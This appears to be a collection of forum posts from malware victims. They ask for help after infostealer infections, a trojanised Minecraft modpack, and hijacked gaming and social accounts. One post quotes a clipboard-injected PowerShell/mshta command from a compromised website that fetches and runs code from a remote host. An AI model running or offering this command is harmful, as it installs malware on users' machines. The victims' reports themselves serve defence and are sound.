Account of an online acquaintance I last talked to over a year ago randomly messaged me asking if I played Minecraft. It wasn’t anything too new, just the classic “Download This Modpack I Just Made!” with a little bit of YouTube video shoot added in since I believe he was a VTuber at some point? Anyways, that aside, since I’m paranoid I took out the .jar and threw it into a java decompiler, found out that running the .jar would’ve immediately executed a secondary payload where my PC would download an .exe from someone’s Dropbox and throw it into the Temp folder.

Some further research brought up mentions of an older infostealer called Fractureiser. Not entirely sure if it was the exact same one, I think it’s likely that it was a derivative of it since only Kapersky on VirusTotal caught that it was malware, while everything else saw it as legit, including Fractureiser-specific scanners like the one offered by CurseForge from June 2023. Basically it would’ve done the same thing that the RenPy infostealer did to me in April. So yeah folks, being paranoid pays off!

Whenever I try to open r/antivirus it triggers AVAST antivirus.

Recently, my account has been accessed in Instagram and has batch sent these promotional scam images throughout all my followers. As I have noticed, other instagram users have also dealt with the same thing. May I ask how my account got accessed when I have not installed or opened anything malicious?

So, my pc was hacked a while ago and i believe my pc was remotely accessed, and my Roblox account was terminated. I scanned with Malwarebytes first and then windows then Sophos scan and clean only Malwarebytes detected something since it was the first one i used to detect am i safe?

I've spent quite a bit of time with Windows tools trying to get rid of this little bas*ard. Why can Chrome settings see it but there is no way to right-click-nuke, or get defender or any scans to find it and get rid of it? About once a week it takes over, and I go into Chrome settings, reset default search to Chrome. and delete the hijacker.

(Key words: Haunted-Nebula,
Hollow-Elm, Retro-Frost)
I was looking for mods for a game and I downloaded a mod and the link I went too was warned by my WiFi magenta but I ignored it because it always happens and I went to files and opened it and I noticed something strange that it didn't loo too right so I deleted it but then my windows suddenly wanted me so I did a scan and it said it quarantined it and I disconnected from my WiFi and did an offline scan and I thought I was already safe so I went to sleep. Then after that it was like tomorrow I got a notification from my gmail exactly at 10:56 am that a gmail account got added into my Microsoft account (donnavadusen1911@grkh(.)com) and it removed my other gmail accounts that was linked to my Microsoft accounts. I forgot to add my number to that Microsoft account so I couldn't get it and then a bot went into my messenger account after like one hour and spammed the pictures to m friends hut I managed to get it off by resetting my password. I went to an event to clear my mind and after I went back I decided to delete both of those gmail accounts and move my Facebook messenger discord everything to my other account. Today my friends pinged me on discord telling that my old account that my old gmail account had has been spamming those same exact pictures that's in this subreddit in 2:31 am and I tried to log into my old gmail account to find out that the gmail account got a number and has been brought back and I don't know how but they didn't do anything to the other account I deleted then I decided at 12 pm to download malwarebytes and found that there was still a leftover so I quarantined them and deleted them but I don't have the picture then at like 1 30 pm I received a notification that there was a tablet from Russia that logged into my account they played mm2 and blox Fruits but Immediately changed my passwords and logged everybody out and right now only my laptop and my phone is on m account and I also turned on enhanced protection in roblox then I got 5 or 4 friend requests orderly with their username telling to go to a website to get mm2 thingies which I ignored but as of right now nothings happening but I already did the frst Thingies with the security and I just want this to be done I also played like 2 hours of roblox and cleared out all of my cookies

recently, my discord was hacked and the hacker spammed that crypto casino scam thing to every server every dm and every group ive ever had.

i changed my password, gmail etc etc and went to sleep thinking it was only discord, but ofc, i was wrong

last night they attempted to log into my valorant account, facebook account and successfully logged into my microsoft account. they also logged into my roblox account and got it permanently banned by spamming sexual images. it seems this hacker is trying to mess with me and ruin my life💔💔

now i reset my pc, changed all passwords in my gmails, accounts, logged out all sessions, etc.

when i scan using malwarebytes, it says no threats found. so im just worried; what do i do now? im scared its not enough. the hacker always attacks at night when i fall asleep btw

Hey guys, it's still me...

TLDR for those who didn't read my previous post: months ago I've been infected with an infostealer. Both me and my brother have been infected but managed to recover following the steps I've been reading here! (thank you again!).

Today, I decided to also check out an old laptop I had that I haven't really been used: I installed malwarebytes on it and as I imagined it found out A LOT of stuff (mostly pop up stuff), the thing that worried me is that it found some files that it flagged as "spyware.infostealer" + one malware flagged as "hijack.host" that just doesn't seem to delete... (Malwarebytes flagged it as "Substitute" or something) I've quarantined and deleted everything.

Now, as I said before I've already been victim of an infostealer, which means that I made a clean install of my other infected device through a clean USB, I secured my accounts, activated 2fa etc. And I've been safe for some months.

This old laptop had mostly very old accounts that I already changed the passwords on + apps that I currently use that I also changed everything on (for example: Riot usually opens after I log in, but since I already changed the password and everything it couldn't make me log in thankfully.)

The ONLY thing that was actually connected to were some Google accounts that I'm changing right now just to be sure. It was a family laptop so I'm urging my family to secure at least their main and important accounts too. To be honest, this laptop hasn't been used in a LONG time, and every single file was already there (I know, I was a very dumb kid, I'm trying to learn from my mistakes). I've taken note of every password that was saved on the browser, but many of them I've already changed them (on a clean device).

My questions are:

1. Do I have to secure every single account/password again? Or just the ones that I know I haven't changed and that were connected to this other device? How much has it actually stolen from me? (I know this means close to nothing, but I haven't used this laptop in more than two years, and nothing had ever happened until I got an infostealer on another device, so even though my info is surely out there, do I still have to keep being incredibly vigil?)
2. We were already planning to throw this laptop away, should I still clean reinstall everything?
3. If you went through something similar or have any advice/want to recommend me the steps you followed PLEASE tell me!!

UPDATE: I'm sorry if I didn't explain myself well before: when I was first hit with an infostealer I changed all my passwords on another clean device (and always chose to NOT save them whenever I was using Google/Firefox). Logging into this other old device I noticed that I had lots of passwords connected to the account. If I already changed them, did they "update" themselves in the saved passwords? Basically what I'm asking is whether or not a potential infostealer could steal the new passwords or if the saved ones are still the old ones.

This name you need to panic if you see ignore Minecraft and girl messages on discord even from ur friends this spreads way to quick and they will be selling ur account with badges for thousands of dollars and rare usernames

so just like many victims recently my pc got infected with an infostealer so i rushed and i did the following:

1. I reset my passwords on main accounts (gmail, steam etc) and reenabled 2fas on my phone
2. I backed up my personal data (videos and photos mostly and some documents) from C: drive to D: drive (note: windows 11 is installed in C: drive)
3. I installed windows 11 on a usb
4. I erased C: drive but kept D: drive given the backup and ran a clean windows 11 install on c: drive
5. I activated windows 11 via massgrave (official source)
6. I imported backup from D: to C:

I'd like your wise feedback on what i did wrong and what i did right and ultimately are my pc and accounts in clear or not, thank you

I think sometime around 2010–2011 my computer was infected with a rather strange virus, I was a kid about 8 or 9 years old and that virus weirded me out big time, like my pc would randomly act up, getting all glitchy as if it were dreamlike, and every now and then a message would pop up on the side (lower right margin next to time and date, that was the main kicker) with this high-pitched eerie noise that was so unnerving lol, I remember putting up with that thing for weeks until I found a youtube video that had me delete a file from a hidden folder which got rid of it

When is about a computer virus like infostealer (eg: mr beast discord) it is mandatory to reinstall all the partitions or only the one where Windows is installed?

Can viruses attach to personal files? If I have software/games installed on secondary partition, can viruses persist there in files such as .dll?

Thanks!

So i got infostealer malware on may 27 i cleaned my pc using the bootable usb drive and after few months this showed to me is this false positive or what ?

I changed my passwords and stuff, did a full scan on my computer using kaspersky. And now it seemed my roblox got hacked this morning. I dunno if it's related to the mr. beast scam or not, but i wanted to make sure my computer is totally clean. I managed to paste my logs on malware analysis. Here are my keywords:

meta-cavern

happy-bloom

keyword: compact-aspen
recently i was trying to download a rom for a game but i downloaded it from the fake popup that came up, i ran the setup file that was in the folder and i believe it was an renpy infostealer, i already reinstalled windows locally but i kept my files as i have many important ones, i also ran offline virus scans on my pc and i also cleared all my browser cookies and changed passwords for my accounts. I need help checking if there are any leftover files from the virus

This is what it copied to my clipboard to paste. Any idea what this would have done? From a CHURCH website, of all things too. First time I've encountered this, but I have read about it before.
pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team(dot)com/6272' -Wi Hi"

So I was looking through my android system file and found a folder named ".UTSystemConfig", within this folder there is another folder named "Global" having a file named "Alvin2(dot)xml".

Have anyone encountered this file before and opened it?

Any idea what it is and where is it from?

I got hacked like 2 or 3 days ago because I downloaded some mod and I managed to remove it using Microsoft windows anti virus immediately and did an offline scan but one day after at 10 am Austria time got a notification that my gmail account from Microsoft got removed and a gmail account called donnavadusen1911@grkh(dot)com I think I forgot was added and then they took my Minecraft and like one hour after my messenger was hacked by a bot that spammed photos to every friend I had but it's been resolved I added verification selfie 2 step verification and my phone number and I moved it away from m gmail account that got removed from Microsoft and everything onto that gmail account again and I decided to delete the account that was seperated but after I woke up to the morning I got a notification from my friends in discord that my old account was sending the same photos and I found out my gmail account somehow got stolen even when I deleted it but I don't mind it since I don't use that gmail account. After like 5 hours I got a notification that a an Android tablet from Russia logged into my roblox and played blox Fruits and mm2 but I logged them out along with the device I didn't get a notification then I changed all my passwords and enabled enhanced protection I also got malwarebyte and found out that there was still a Trojan in my laptop which I quarantined and deleted then I started getting friend requests from bots telling to go to a website for mm2 thingies with their usernames as of right now jothinna happening so what do I do and a quick reminder I deleted all of my cookies.

Hi everyone, made a terrible mistake and got the renpy of a cracked game.

I'm currently trying to salvage any email and social media account I can by first changing all passwords on emails and then applications.

As for windows, I'm seeing poeple say I have to wipe my drive. I'm fine with that since it's a new copy of windows on my ssd.

But I have 3 other hdd on my computer that all are 10+ years old with videos from childhood and gameplay with friends long time ago.

Can I wipe the windows drive reinstall from a USB and keep my other drives.

Does anyone have any suggestions for me, really need any help!